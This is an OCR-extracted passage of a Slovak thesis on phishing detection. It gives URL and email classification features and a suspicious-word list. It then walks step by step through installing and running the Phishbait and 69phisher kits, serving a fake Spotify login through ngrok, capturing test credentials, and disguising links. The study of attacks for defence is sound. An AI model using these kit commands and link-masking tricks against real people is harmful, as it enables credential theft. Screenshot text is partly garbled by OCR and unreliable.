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server, client, confirm, account, banking,
secure, ebayisapi, webscr, login, signin, update,
click, password, verify, lucky, bonus, suspend,
paypal, wordpress, includes, admin, alibaba,
myaccount, dropbox, themes, plugins, logout,
signout, submit, limited, securewebsession,
redirectme, recovery, secured, refund,
webservis, giveaway, webspace, servico,
webnode, dispute, review, browser, billing,
temporary, restore, verification, required,
resolution, 000webhostapp, webhostapp, wp,
content, site, images, js, css, view.

Obréazok 45 — Zoznam podozrivych slov [54]

Host-based features

Tieto funkcie sa ziskavajl priamo z ndzvu hostitel’a, ndzvu domény alebo ndzvu subdomény

adresy URL. Vyuzivaju sa Count/presence-based features.

Path section of the URL-based features

Na rozdiel od extrahovania features z iplnej adresy URL sa tieto features extrahuju priamo

z Casti cesty adresy URL. Tieto features st rozdelené do dvoch kategorii:

a) Special characters-based features - Tieto features si podobné tym, ktoré st popi-
sané v kategoérii Full URL-based features. Tieto features kontroluju pritomnost’ Spe-
cidlnych oddel'ovacov v sekeii cesty adresy URL. Ak sa tieto Specialne znaky nacha-
dzaju v ceste adresy URL, potom je adresa URL oznacena ako phishing, inak legi-
timna.

b) Count/presence-based features - Tieto features st podobné tym, ktoré su popisané
v kategorii Full URL-based features a Host-based features. Tieto features klasifikuju
adresy URL ako phishing, ak sa diZka alebo poéet konkrétnej funkcie zvysi.

Entropy-based features
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Entropia je mierou neistoty a Shannonova entropia méze byt pouzita ako funkciu na klasi-
fikéciu phishingovych adries URL. Vypocitana bola entropia celej adresy URL a Casti cesty
adresy URL. Tato funkcia kontroluje ndhodnost’ v URL a ak funkcia vrati vyssi pocet entro-
pie, klasifikuje URL ako phish, inak ako legitimnu. Shannonova entropia je definovana na-

sledujucou rovnicou:

H@) = - ) p(i) logp(xi)
i=1

Ne  Feature name Feature description

F1 At_url Presence of “@" in the URL

F2 Amp_greater_equal If number of "&" is greater than number of * =" in URL
F3 Delims_url Presence of delimiters "~ "™ "1 =& = 0000 LT L R L= "< ') in the URL
F4 Other_delims_url Number of "+, '8", "=, "&' "', "#,'%") in URL

F5 Len_url Length of the URL

F& Email_exist Presence of email address in the URL

FT Protocel_url Check if "http" and “www" words appears in the URL
F8 Suspwords_url Presence of suspicious words in URL

Fa Digits_url Number of digits in the URL

F10 | Entropy_url The higher the entropy, the more phishy the URL is
F11 | Tiny_url Presence of tiny urls in the URL

F12 | Ratio_url_path Ratio of full URL and path section of the URL

H1 Dot_host Number of dots in the host

H2 Len_subdomain Length of subdomain

H3 Having_https Presence of HTTPS protocol in URL

H4 | Brand_host Presence of popular brand names in host

H5 Host_large_tok Return the largest token in the host of the URL

P1 Path_large_tok Return the largest token in the path of the URL

P2 | TLD_path Presence of TLDs in the path section of the URL

P2 Len_file Length of name of the file section

P4 | Extension Presence of valid file and page extension names

Pa Delims_params Presence of delimiters [~ ™ "0 0 = 000 0T L L s e =< ) in the parameters section of the URL
P& Len_params Length of parameter section

P7 | Dot_path Number of dots in the path

P Hyphen_path Number of hyphens (-} in the path

=] Slash_path Number of slash (/) in the path

P10 | Len_path Length of the path

P11 | Brand_path Presence of brand name in the path

P12 | Digits_path Number of digits in the path

P13 | Entropy_path The higher the entropy of the path, the more phishy the URL is

Obrazok 46 — Features na klasifikaciu URL adresy [54]
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3.4.3 Klasifikacia e-mailov

Na obrazku nizsie je mozn¢ vidiet’ skladbu e-mailu, ktord bude nasledne analyzovana.

TCP/IP
Header

SMTP Mail Object (TCP Payload)

IP Source: 1.1.1.1 IP Destination:2.2.2.2
TCP Source: 66666; TCP Destination port: 25 n

SMTP B MAIL FROM: <support@example.com>
Envelope RECP TO: <Client@gmail.com> n
DATA

SMTP | | [ Dear client,

Data
o Your account is expired. To activate,
S 8 | | Login:
= http://Phishsite.com/Active.php

[ EHLO mx:example.com

o b From: <support@example.com>
[} E - | To: <Client@gmail.com>
== Subject: Account Expired!

Regards,
le Inc. Technical Support ﬂ

Obrazok 47 — Zlozenie emailu [8]

3.4.4 Feature based e-mail classification

Phishingové e-maily m6zu byt rozpoznané pomocou niektorych features, ktoré¢ je mozné

'ahko zistit' pomocou predchadzajicich znalosti, pokial’ itocnik opakuje nejaky vzor. Toto

je priklad features, ktoré mozu byt pouzité na klasifikaciu e-mailu.

Group features No Features
External features 1 Spam features {included 50 sub-features)
Body-based features 2 HTML e-mail
3 Body of Multi part
4 Werify your account phrase
5 "OnClick” JavaScript event
< Code of JavaScript to change the status bar
7 Code of Java script
3 Code of Java script to open popup windows
9 Forms in email body
10 Ratio of the number of words to the number of Characters
URL-based features 1 html-links
12 | Mumber of dots in a link
13 Mon matching between target and text of urls
14 URLIP address
15 Image links
16 URL bag of word links
17 | URL has two domains
18  Mon-standard port in the URL
19 | URL containing hexadecimal characters or @ symbol
Header based features 20 Subject replay word
21  Difference between the sender domain from the domain of the embedded links
22 | Subject (bank, verify, debit)
23 Sender e-mail address uses different replay address
24 Total number of words in the subject line
25 | Total number of characters in the email's subject
Sender based features 26  Total number of words in the send field
27  Total number of characters
28  Difference between the sender's domain and the reply-to domain
29 Sender's domain is different fram the email's modal domain

Obrazok 48 — Features pre klasifikaciu emailu pouzité vo vedeckom c¢lanku [8]
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3.4.4.1 Funkcie prepojenia

Struktura hypertextového odkazu je nasledovna: <a href=“URI”>,,Vizualny text’<\a>, kde
URI je skuto¢na adresa odkazu ,,vizudlneho textu“. Vo webovom prehliadaci sa nezobra-
zuje obsah URI, ale ,,vizualny text®. Phisher pouziva tuto skutocnost’ v ,,navnadovych* e-
mailoch na presmerovanie obete na phishingové webové stranky. Algoritmus LinkGuard
skima pravé aj falo$né odkazy a zaznamenava vSetky nezrovnalosti. Pouzitie IP adresy
priamo tiez signalizuje, Ze web mdze byt phishing, ale nie je to isté, ak chybaji informacie
o cieli, skiima sa skuto¢ny DNS, v pripade kédovanych odkazov sa vykond dekddovanie a

nasledne rekurzivne spustenie LinkGaurdu [8].

3.4.4.2 WordList Features
Hlavny pristup klasifikacie je zalozeny na algoritme strojového ucenia.

Tento model ma rézne nedostatky, vyzaduje vel’ké mnozstvo features, ma vysoku zlozitost’

z hl'adiska Casu a pamidte, taktieZ nie je schopny detegovat zero-day utoky.

e k-Nearest Neighbor (k-NN) — techniku klasifikécie k-NN, ktora filtruje phishingové
e-maily na zaklade k-najblizsich tréningovych udajov, ktoré sa vyberajii pomocou
preddefinovanej funkcie podobnosti.

e Naivné Bayesove klasifikdtory—pouziva Bayesovu vetu na vykonavanie pravdepo-
dobnostne;j klasifikacie, va¢sinou sa pouziva na klasifikaciu textu a filtrovanie kI'd-
Covych slov. Funkcie pouzivané pre Naive Bayes klasifikator su Statisticky neza-

vislé, aby sa zachovala presnost’ [8].
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II. PRAKTICKA CAST
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4 ANALYZA AKTUALNYCH PHISHINGOVYCH UTOKOV

Phishingové Gtoky mozu byt ndro¢né na analyzu, ¢astokrat kvoli tomu, ze stranka, na ktort
dany phishingovy email smeruje, je po kratkej dobe zruSena, utok teda spolieha na to, ze
l'udia v rychlosti naletia a zadaj citlivé informécie. Pokial’ dana phishingova ,,nastraha“ ob-
sahuje nejaky natlak v podobe nutnej okamzitej akcie, vacSina obeti, ktora naleti tak urobi,
a uto¢nik mdze nazbierat’ mnozstvo dat uz za par desiatok minut. Pre zametenie stop za se-

bou a pre st'azenie naslednej analyzy tak stranku opat’ zrusi.

4.1 Phishing Kits

Jedny z najbeZnejsich technik, ktoré podvodnici pouZivaju pri phishingovych utokoch, je
vytvorenie falo$nej oficialnej stranky znamej zna¢ky. Utoénici maji tendenciu kopirovat
dizajnové prvky zo skutoc¢nej webovej stranky a preto je pre pouzivatelov tazké rozlisit
falo$né stranky od oficidlnych. Dokonca aj ndzov domény phishingovej stranky mdze Casto
vyzerat ako skutocnd webova adresa urcitej znacky, pretoze kyberzlocinci v adrese URL
uvadzaji nazov spolocnosti alebo sluzby, za ktoru sa vydavaji. Tento pristup je zndmy ako

,combosquatting®.

Vzhl'adom na to, Ze phishingové webové stranky mozu byt efektivne blokované alebo pri-
dané do anti-phishingovych databaz, kyberzlo¢inci musia tieto stranky vytvarat rychlo a vo
vel’kom pocte. Vytvarat’ ich znova a znova od nuly je ¢asovo naro¢né a nie vSetci pocitacovi
zloCinci maju potrebné zru¢nosti v oblasti vyvoja webu a spravy. To je dovod, preco kyberz-
lo¢inci uprednostituju tzv. phishing kity, ktoré st ako zostavy modelov lietadiel alebo vozi-
diel. Pozostavaji z hotovych Sablon a skriptov, ktoré mozno pouZit’ na rychle a rozsiahle
vytvéaranie phishingovych stranok. Supravy na phishing stt pomerne jednoduché na pouzi-
vanie, a preto ich mo6zu implementovat’ a vyuzivat’ aj neskiseni tto¢nici, ktori nemaju ziadne

technické zruénosti.

Kyberzlo¢inci maji tendenciu pouzivat’ napadnuté oficidlne webové stranky na host’ovanie
stranok vytvorenych pomocou phishingovych stprav alebo sa spoliehaju na spolo¢nosti,

ktoré ponukajui bezplatnych poskytovatel'ov webhostingu.

Na ziskanie takychto kitov nie je vobec potrebné pristupovat’ na darkweb. St pohodlne do-
stupné a dohladatel'né pomocou beznych vyhl'adavacov. Napriklad len na github.com sa na-

chadzaju desiatky takychto kitov.
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4.1.1 Phishbait
Na ukazku je pouzity phishing kit s nazvom Phishbait, ktory je voI'ne dostupny na githube,
s popisom, navodom aj ukazkami. Taktiez postup spustenia v tejto ukdzke je vykonany

podra prilozené¢ho navodu [58].

[+ root@ubuntu: ~ Q =

root@ubuntu:~# git clone https://github.com/Err@r-ICA/Phishbait

Obrazok 49 — Instalécia phishing kitu Phishbait

Celkovo bude potrebné otvorit’ 3 okné termindlu.
Ako prvé je nutné skopirovat’ subory z githubu pomocou prikazu vyssie. Po ispes$nej inSta-

lacii je mozné v prvom okne prepnit’ do zlozky so subormi a spustit’ nastroj.

root@ubuntu: ~/Phishbait

@ubuntu:~# cd Phishbait

ubuntu:~/Phishbait# bash Phishbait

Obrazok 50 — Spustenie phishing kitu Phishbait

Po spusteni programu je mozné vidiet' vytvorené rozhranie, ktoré informuje o podrobnos-

tiach ohl'adom vyvojarov a taktieZ varovanie ohl'adom zneuzitia tohto néstroja.

V ponuke niZsie je mozné si vybrat’ z 38 r6znych predpripravenych podvrhnutych webovych

stranok, medzi ktorymi su napriklad Facebook, Instagram, Netflix, Steam ¢i PayPal.
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Tool
Github
Version
Instagram

-=-»»>» Phishbait

--»»» github.com/Err@r-ICA
-=-»»>»1.3.0

--»»>» @termux_haacking

: A\pisclaimer: Developers assume no liability and are not Jf) ::

responsible for any misuse or damage caused by BlackEye.
nly use for educational purporses!!

Phishbait v1.3.0 By Error_HB - @termux_hacking

>

root@phishbait-->»>» ||

[17]

[
[
[
[
[
[
[
[
[ 6
[
[
[
[
O
[

Obrazok 51 — Stranky pontikané phishing kitom Phishbait

Nasledne je otvorené druhé okno s terminalom, kde je mozné preskimat’ priecinky. Medzi

priecinkami je mozné vidiet’ Phishbait. Tato pod-zlozka je potom otvorend, a opédt’ presku-

mana. V tomto prieinku sa nachadzaji nastroje ngrok, Phishbait, readme subory a zlozka

s ndzvom Websites

=1

root@ubuntu: ~/Phishbait

root@ubuntu:~/Phishbailt# 1s -1la

total 25532
drwxr-xr-x 4
6

8
1
1
1
1

1
drwxr-xr-x 40

root
root
root
root
root
root
root
root
root

root
root
root
root
root
root
root
root
root

4096
4096
4096
35149
25983364
176306

1
3358
4096

root@ubuntu:~/Phishbait# I

LICENSE
ngrok
Phishbait
readme.md
README . md

Obrazok 52 — Stubory a priecinky phishing kitu Phishbait



UTB ve Zliné, Fakulta aplikované informatiky 86

Po otvoreni tejto zlozky je mozné vidiet' zoznam vSetkych webovych stranok, ktoré st tak-

tiez spomenuté aj v obrazku 57.

[+l root@ubuntu: ~/Phishbait/Websites

root@ubuntu:~/Phishbait/Websites# 1s

root@ubuntu:~/Phishbait/Websites# I

Obrazok 53 — Zoznam stranok phishing kitu Phishbait

Pricom kazdy z tychto priecinkov obsahuje subory, ktoré zobrazuju Struktiru stranky

a spracovavaju odosielanie udajov.

drwxr-xr-x 3 root root 4896 Feb 13 16:35
drwxr-xr-x 40 root root 4096 Feb 13 09:40
drwxr-xr-x root root 4096 Feb 13 09:40
-r'w-r--r-- 1 root root 64 Feb 13 89:40 index.php
-rw-r--r-- 1 root root 541 Feb 13 69:40 ip.php

-rw-r--r-- 1 root root 7723 Feb 13 89:460 login.html
-rw-r--r-- 1 root root 189 Feb 13 89:40 login.php
-r'W-r--r-- 1 root root 217 Feb 13 10:31 saved.ip.txt
-rw-r--r-- 1 root root 41 Feb 13 16:31 saved.usernames.txt
root@ubuntu:~/Phishbait/Websites/spotify#

Obrazok 54 — Subory kde st ukladané IP adresy a prihlasovacie udaje

Pre spustenie prikladu vyuZivajiceho Spotify, spustenie prebehne nasledovne. Pomocou
prikazov je otvorena prislusna zlozka, v ktorej je vykonany prikaz ,,php -S
localhost:3333%. Tento prikaz otvori localhost na porte 3333, ktory bude obsahovat’ subory
tykajtce sa podvrhnutej stranky. V tomto konkrétnom pripade Spotify.
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1 root@ubuntu: ~/Phishbait/Websites/spotify Q

root@ubuntu:~# 1s

root@ubuntu:~# cd Phishbait
root@ubuntu:~/Phishbait# 1s
LICENSE ngrok Phishbait README.md
root@ubuntu:~/Phishbait# cd Websites
root@ubuntu:~/Phishbait/Websites# 1s

root@ubuntu:~/Phishbait/Websites# cd spotify
root@ubuntu:~/Phishbait/Websites/spotify#
root@ubuntu:~/Phishbait/Websites/spotify# php -5 localhost:3333

[Mon Feb 13 10:18:07 2823] PHP 7.4.3-4ubuntu2.17 Development Server (http://loca
lhost:3333) started

Obrazok 55 — Spustenie Phishbait prva cast’

Po tGispesnom spusteni je nutné vratit’ sa do prvého okna, v ktorom sa do nastroja Phishbait
posle hodnota odpovedajuca stranke vytvorenej v predchadzajicom kroku. V tomto kon-

krétnom pripade sa jedné o hodnotu 36, teda Spotify.

>

root@phishbait--»»» 36

Waiting For The Victim to Open The Link ...

Obrazok 56 — Spustenie Phishbait druha cast’

Naésledne je potrebné otvorit’ tretie okno s termindlom, v ktorom je vlozeny nasledujtci pri-

kaz, ktory vyuZije nastroj ngrok k otvoreniu session na porte 3333.
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root@ubuntu:~# ngrok http

Obrazok 57 — Spustenie Phishbait tretia Cast’

Po vykonani tohto prikazu sa zobrazi nasledujiica obrazovka, ktora ukazuje zakladné infor-
macie o prenose ako aj URL adresy, na ktorych je mozné pristupovat’ na podvrhnutti webov
stranku. Pokial’ je URL generovana bez akéhokol'vek d’alSieho nastavenia, ¢i implementacie
proxy serveru, obsahuje verejnu IP adresu zariadenia, z ktorého je prikaz spusteny.

root@ubuntu: ~ Q = = o x

(Ctrl+C to quit)

.eu.ngrok.io -> http://

Connections

Obrazok 58 — Spusteny Phishbait

Po otvoreni hypertextového odkazu je mozné vidiet’ podvrhnutu stranku, ktora naozaj na

prvy pohlad vyzera ako oficidlna stranka prihlasenia na platformu Spotify.

*  Login-Spotify x 4+

(s] Q DO o+ localhost:3333/login.htm

e Spotify

OR
mk-test@fai.cz
T —

Don't have an account? S

Obrazok 59 — Podvrhnuté stranka vytvorena phishing kitom Phishbait
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Po vyplneni prihlasovacich tdajov a kliknuti na tlacidlo ,,LOG IN*, d6jde k presmerovaniu

na oficialne stranky platformy.

- Login - Spotify

spotify.com,

e Spotify:

@ CONTINUE WITH APPLE

G CONTINUE WITH GOOGLE

or

Email address or username
Email address or username
Password
Password
Forgot your password?
Remember me W I

Don’'t have an account?

SIGN UP FOR SPOTIFY

Obrazok 60 — Presmerovanie na oficialnu stranku

V prvom okne termindlu (obrazok 61) je okamzite po zobrazeni mozné vidiet’ IP adresu za-
riadenia, z ktorého bolo na stranku pristupované, taktiez aj verzia a typ opera¢ného systému
obete. (Pre tento priklad bol utok pouZity len lokalne, prostrednictvom localhost, prave kvoli

tomu je mozn¢ vidiet’ IP 127.0.0.1). IP adresy sa taktiez ukladaji do siboru saved.ip.txt.

Po tom, ¢o obet’ klikne na tlacitko LOG IN, zadané udaje st okamzite odoslané k uto¢nikovi,
a zobrazené v terminali. Podobne ako IP adresy, aj ziskané udaje st uloZené v subore, avSak
v tomto pripade sa jednd o stibor saved.usernames.txt.

[*1

[*#] Waiting For The Victim to Open The Link ...

[ '] IP Found!

[ '] victim IP: 127.0.0.1

[ '] User-Agent: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0)
Gecko /20100101 Firefox/109.0

[ '] Saved: spotify/saved.ip.txt

[*] Waiting For Credentials ...

] Credentials Found!!

] Account: mk-test@fai.cz

] Password: TEST123456

] Saved: Websites/spotify/saved.usernames.txt

Obrazok 61 — Ulozené prihlasovacie udaje a IP adresa.
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Druh¢ okno zase zaznamendava requests na server, ktoré obete vykonavaju. Najdolezitejsi
request je ten posledny, vyuzivajici POST metddu, konkrétne zaznam POST /login.php.
Préve tu dochédza k odoslaniu prihlasovacich tidajov k uto¢nikovi.

root@ubuntu:~/Phishbait/Websites# cd spotify
:~fPhishbait/Websites/spotify#
:~/Phishbait/Websites/spotify# php -S localhost:3333
10:10:07 2023] PHP 7.4.3-4ubuntu2.17 Development Server (http://localhost:3333) started
10:14:03 2023] 127.0.0.1:48460 Accepted
10:14:04 2023]
2023] 127.0.0.1:48460 Closing
2023] 127.0.0.1:48462 Accepted
2023]
2023] 127.0.0.1:48462 Closing
2023] 127.0.0.1:48468 Accepted
2023]
2023] 127.0.0.1:48468 Closing
2023] 127. :48474 Accepted
114: 2023] 127.0. :48488 Accepted
Feb 1 :14: 2023] 127.0. :48582 Accepted
Feb 1 114: 2023] 127.0.0.1:48516 Accepted
Feb 114: 2023] 127.0.0.1:48518 Accepted
Feb 1 :14: 2023]
Feb 114: 2023]
Feb 1 114: 2023]
Feb 1 114: 2023]
Feb :14: 2023] .9.8.1: Closing
Feb 1 :14: 2023] 127.0.0.1: Clesing
Feb 114: 2023]
Feb 1 :14: 2023] 127.0.0.1: Clesing
Feb 2023] .8.8.1: Closing
Feb 1 :14: 2023] 127.0.0.1: Closing
Feb 1 114: 2023] 127.0.0.1: Accepted
Feb 114: 2023]
Feb 1 :14: 2023] 127.0.0.1: Accepted
Feb 114: 2023] .8.8.1: Closing
Feb - :14:04 2023]
Feb 1 2023] 127.0.0.1: Accepted
Feb :14: 2023]
Feb 1 :14: 2023] 127.0.0.1: Clesing
Feb 114: 2023] .8.8.1: Closing
Feb 1 :14: 2023] 127.0.0. Accepted
Feb :14:05 2023] 12 404]: GET

Feb 114: 2023] .0.0.1:48550 Closing

Feb 1 :15: 2023] 127.0.0.1:40298 Accepted

Feb 93lER 2023]

Feb 1 :15: 2023] 127.0.0.1:40298 Closing
root@ubuntu:~/Phishbait/Websites/spotify#

Obrazok 62 — Server log

4.1.2 69phisher

Tento utok je naozaj jednoduchy na pouzitie, a jediné o potrebuje je nainstalovany linux
s pravami root uzivatel'a. Spustenie je opit’ prevedené podl'a navodu poskytnutého tvorcom,

s cielom zistit’ jednoduchost’ pouZitia.

Tento nastroj moze byt nainstalovany prikazom:

,git clone https://github.com/Akshay-Arjun/69phisher.git™
Nasledujucim prikazom je otvorend zlozka néstroja 69phisher.

cd 69phisher

Potom s zmenené prava ohl'adom spustitel'ného suboru prikazom chmod:
chmod 777 69phisher.sh

A potom uZ staci len spustit:

bash 69phisher.sh


https://github.com/Akshay-Arjun/69phisher.git
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Obrazok 63 — Phishing kit 69phisher

Po vybere jednej z viac ako 30 podvrhnutych stranok, nastroj automaticky vygeneruje

URL adresy, ktoré staci zaslat'. Druha URL obsahuje maskovanie pouzitim znaku @.

Obrazok 64 — Spusteny 69phisher

Po viacerych testoch bolo zistené, Ze niektoré s tychto vygenerovanych URL adries vobec
nie su detegované prehliadami, a teda v praxi by bez problémov fungovali. Na konkrét-
nom priklade niz$ie je mozné vidiet’ vel'mi kvalitne spracovant podvrhnutt stranku prihla-
senia do sluzby Steam. VSetky tlacidl4 a odkazy na stranke funguju, a napriklad zmena ja-

zyka len zobrazi redlne chybové hlasenie.
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*  steam Community X +

] QO 8 https://def-else-maybe-fo.trycloudflare.com/login.htm

9 STEAM

o& Install Steam

— -
signin Join Steam

Forgot your password?

Why Join Steam? 4,453,377 In-Game 15,705,845 Online

Obrazok 65 — Podvrhnuté stranka vytvorena phishing kitom 69phisher

Po kliknuti na ,,Sign In*“ dojde opét’ k presmerovaniu na oficidlnu stranku Steamu.
Tento nastroj tak ako predchadzajuci popisovany zaznamenava nielen prihlasovacie udaje,

ale aj IP adresu a taktieZ ich uklada do stborov.

Obrazok 66 — log z behu programu 69 phisher
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4.2 Techniky vyuzivané Gto¢nikmi na maskovanie phishingu

Existuje viacero technik pouzivanych na oklamanie pouzivatel'ov, aby si mysleli, ze odkaz

na webovu stranku je skuto¢ny.

4.2.1 Skracovade adries URL

Existuje mnoho sluzieb na skracovanie adries URL ako bit.ly, x.co, goo.gl, tiny.cc. Tieto
skracujuce webové aplikacie zaberaji dlhy zlozity riadok URL, ako napriklad
Hhttps://f5.com/labs/articles/threat-intelligence/cyber-security/russian-hackers-face-to-

face”, a zmensuju ho na nieCo pohodlnejSie a l'ahko zdielatelné, ako napriklad

,Hhttp://bit.ly/2wbw48P*.

Skratené adresy URL st uZito€né najma pri pouzivani Twitteru, ktory obmedzuje tweety na
140 znakov, pretoze niektoré adresy URL by spotrebovali celt spravu. St ideélne na zahr-
nutie do e-mailov, ktoré pouzivatel'a vyzyvaju, aby klikol na odkaz, ktory ho presmeruje na
Skodlivu stranku. Text e-mailovej spravy je Casto navrhnuty tak, aby oklamal pouzivatela,
aby si myslel, ze odkaz je doveryhodny. Beznym trikom je napodobnit’ e-mail od IT odde-
lenia, aby pouzivatelia klikli na odkaz na zmenu hesla, ¢o vedie na stranku, ktora im ukradne

heslo.

Niektoré sluzby skracovania adries URL vykonavaju zakladné testovanie a blokovanie zné-
mych Skodlivych stranok, ale vo vSeobecnosti sa zistilo, Ze nie st ani zd’aleka dokonalé [59].
4.2.1.1 Priklad

Na nasledujicom priklade smishingového utoku je mozné spozorovat’ vyuzitie URL skraco-
vaca s ndzvom cutt.ly. Aj napriek tomu, ze sa jedna o platena sluzbu, utocnici investovali,

aby bol utok uveritel'nejsi.

Slovenska sporitelfia: Udet je
zablokovany

Obrazok 67 — Skracova¢ URL pouzity v phishingovom tutoku



UTB ve Zliné, Fakulta aplikované informatiky 94

4.2.2 URL Doppelgangers

Jedna sa o nahradenie pismen v URL, za pismené znacne podobné. V prospech tuto¢nikov

moze byt vyuzivany aj font, ktory rozdiely medzi jednotlivymi pismenami méze skryvat’.

Priklad nizsie ukazuje utok vydavajici sa za PayPal.

,Subject: PayPal Cash Give-Away

From: Friend <CashGiveAway at Paypal dot com>

Reply-To: cheapercommunications at yahoo dot com PayPal

Congradulations You were chosen from over 30,000 contestants for our

$500.00 cash give-away from PayPal. If you are already a member simply click

the link below to Accept the Cash Give-Away. Even if you are not a PayPal member
you can sign-up for Free, and still accept the $500.00 Cash Give-Away today!
Amount: $500.00

Note: Enter Your Info Below To Accept.

To Process: Click link below or copy and paste into browser window.

https://'www.paypal.com/prq/id=H1aDsq-6vwg7wl1YaVZjb.hGJmz0uOz6pb.omew “

V priklade vysSie je pouzity rovnaky font ako v zbytku prace, preto je jasne vidiet’ odliSnost’
malého ,,1 a vel'kého ,,I* avSak pri pouziti inych fontov je takmer nemozné rozpoznat, Ze

sa nejednd o odkaz na legitimnu stranku ,,paypal.com*
https://www.paypal.com/prq/id=H1aDsq-6vwg7w1YaVZjb.hGJmz0uOz6pb.omew
https.//www.paypal.com/prq/id=H1aDsq-6vwg7w1YaVZjb.hGJmz0uOz6pb.omew

https://www.paypal.com/prq/id=H1aDsq-6vwg7w1YaVZjb.hGIJmz0uOz6pb.omew

Toto je trik na vytvaranie klamlivych adries URL, ktoré siaha desatrocia dozadu. V tomto
pripade bola stranka Paypai.com host'ovana serverom v Moskve a zbierala prihlasovacie

udaje PayPal, ktoré sa mali pouzit’ na pranie kreditnych kariet.


https://www.paypai.com/prq/id=H1aDsq-6vwg7w1YaVZjb.hGJmz0uOz6pb.omew
https://www.paypai.com/prq/id=H1aDsq-6vwg7w1YaVZjb.hGJmz0uOz6pb.omew
https://www.paypai.com/prq/id=H1aDsq-6vwg7w1YaVZjb.hGJmz0uOz6pb.omew
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Dalsim spdsobom, ako vytvorit zavadzajucu adresu URL, je pouZitie homografov, ktoré
vyuzivaju kédovanie Punycode2 na falSovanie nazvu. Laboratérium F5 v roku 2022 pred-

stavilo podrobny pribeh o utokoch na homografy a o tom, aké su tspesné.
Tento rozdiel je zrejmy, ked’ je posledny riadok zobrazeny v inom pisme:

https://www.paypal.com/prq/id=H1aDsq-6vwg7wliYaVZjb.hGJmz0uOz6pb.omew

Toto je trik na vytvaranie klamlivych adries URL, ktor¢ siahaju desatrocia dozadu. V tomto
pripade bola stranka Paypai.com hostovand serverom v Moskve a zbierala prihlasovacie

udaje PayPal, ktoré sa mali pouzit’ na pranie kreditnych kariet [59].

Okrem pismen ,,I*“ a ,,1* vSak existuju aj iné podobné pismena, ¢isla, ¢i dvojice pismen ako
napriklad dvojica pismen ,.,r* a ,,n“ (rn), ktora ak je napisand ihned’ po sebe, vyzera takmer

identicky ako pismeno ,,m*.

Pripadne v niektorych fontoch podobnost’ znakov ,,q“, ,.g“ a ,,9“ (qg9). Pripadne podobnost’
znakov ,,Q%, ,,0% a ¢&isla 0: (QO0) (Q00) (000)

Taktiez podobnost’ ¢isla 1 s pismenami ,,I*“ a ,,1*

Pripadne je tiez moZné prehliadnut’ zamenu 2 pismen ,,vv* za jedno ,,w*.

4.2.3 Presmerovania URL

Dal3ia technika zahmlievania adries URL zahffia odrazenie sa od zranitelnosti webovej ap-
likacie na legitimnej lokalite. Mnoh¢ stranky poskytuji moznost’ presmerovania alebo pre-
smerovania adresy URL. Napriklad, mozno ste na investi¢nej stranke a v ur¢itom okamihu
sa vaSa relacia automaticky prenesie na stranku banky. Samotny investicny web pouziva

nastroje webovej aplikacie na vykonanie presmerovania, ktoré ¢asto moze vyzerat takto:

http://investingsite.com/redirect.php?url=http.//nicebanksite.com

Phisher by potom mohol uniest’ tento mechanizmus a presmerovat’ pouZivatel'ov na falo$n

stranku. Netrénovany pouzivatel’ si vS§ak moze vSimnut iba zaciatok adresy URL, ktora
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zobrazuje skuto¢nu stranku (ktord je presmerovand). Okrem toho by phisher mohol kombi-
novat’ techniky a pridat’ skratenie adresy URL, aby sa d’alej maskoval konec¢ny ciel’, napri-

klad:

http://investingsite.com/redirect.php ?url= http.//bitly.com/98KS8eH

Tento konkrétny problém bol sticastou 10 najvacsich webovych zraniteI'nosti OWASP s na-
zvom Unvalidated Redirects and Forwards3 a ¢asto sa testuje ako sicast’ testu zranitel'nosti
webovych aplikacii. Tato zranite'nost’ moze byt’ aj ovel’a jemnejsia, pochovana vo funkciach

aplikécie, ktoré nie su zjavné pri beznej webovej relacii, ale stale sa nachadzaju a vyuzivaju.

4.2.4 Presmerovanie s vyuzitim znaku ,,@*“

Znak ,,@* mdze byt pouzity na presmerovanie pouZzivatel'ov. V nasledujucom priklade je
mozné vidiet URL, ktora za¢ina www.google.com, ¢o je pre vacsinu uzivatel'ov uplne bezna

URL, a preto nenadobudnu Ziadne podozrenie.

https://www.google.com=q=this+is+just+example+of+url+redi-

recttusing+at+sign@fai.utb.cz

Je vSak dolezité davat si pozor na znak @ v URL adrese, pretoze prehliadac automaticky
presmeruje pouzivatel'a, ktory zada takyto odkaz na stranku za @. Teda v tomto pripade na

stranku www.fai.utb.cz.

ample+of+url+redirect+using+at +sign@www.fai.utb.cz

Google

Hiedat Googlem Zkusim Stésti

Obrazok 68 — Presmerovanie s vyuzitim znaku @, prva Cast’


http://www.google.com/
https://www.google.com=q=this+is+just+example+of+url+redirect+using+at+sign@fai.utb.cz
https://www.google.com=q=this+is+just+example+of+url+redirect+using+at+sign@fai.utb.cz
http://www.fai.utb.cz/
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Obrazok 69 - Presmerovanie s vyuzitim znaku (@, druha ¢ast’

4.2.5 Tunneling

Ako bolo mozné vidiet’ na ukazkach phishing kitov, ¢asto su na phishingové utoky vyuzité

tzv. tunneling services. V konkrétnych spominané si CloudFlare a ngrok.

Cloudflare Tunnel (predtym zndmy ako Argo Tunnel) je nastroj na vytvaranie bezpe¢ného
pripojenia z verejnej siete do privatneho siete alebo na konkrétnu webovu aplikéciu hosto-

vanu na serveri.

Zneuzitie Cloudflare Tunnelu pre phishingové utoky spociva v tom, Ze Gto¢nik nastavi spo-
jenie medzi svojim phishingovym serverom a sluzbou Cloudflare prostrednictvom tunelu,
¢im ziska krytie za IP adresou a certifikdtom od spolo¢nosti Cloudflare. To umozni phishin-

govému webu posobit’ ako legitimna stranka a moze byt t'azSie ho identifikovat’ a blokovat'.

Takychto sluzieb je vSak ovel’a viac, a ako priklad je mozné uviest’ nasledujuce:

. Burrow.io: https://xxxxxx.burrow.io

. Expose: https://xxxxxx.expose.dev

. ForwardHQ: https://xxxxxx.fwd.wf

. Inlets: https://xxxxxX.nip.io

. LocalTest: https://xxxxxx.localtest.me

. LocalXpose: https://xxxxxx.localxpose.io
. Localtunnel — xxxxxx.localtunnel.me/

. Nghttpx: https://xxxxxx.nghttpx.com
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Pagekite: https://xxxxxx.pagekite.me

. Portmap.io: https://xxxxxx.portmap.io

. ProxyLocal: https://xxxxxx.proxylocal.com
. Reverse SSH Tunnel: https://xxxxxx.rstunnel.net
. Servebolt: https://xxxxxx.servebolt.run

. Serveo: https://xxxxxx.serveo.net

. Sish: https://xxxxxx.ssi.sh

. Snopyta: https:/xxxxxx.snopyta.org

. Sshuttle: https://xxxxxx.sshuttle.cloud

. Sshws: https://xxxxxx.sshws.net

. Telebit — xxxxxx.telebit.io/

. Teleconsole: https://xxxxxx.teleconsole.com
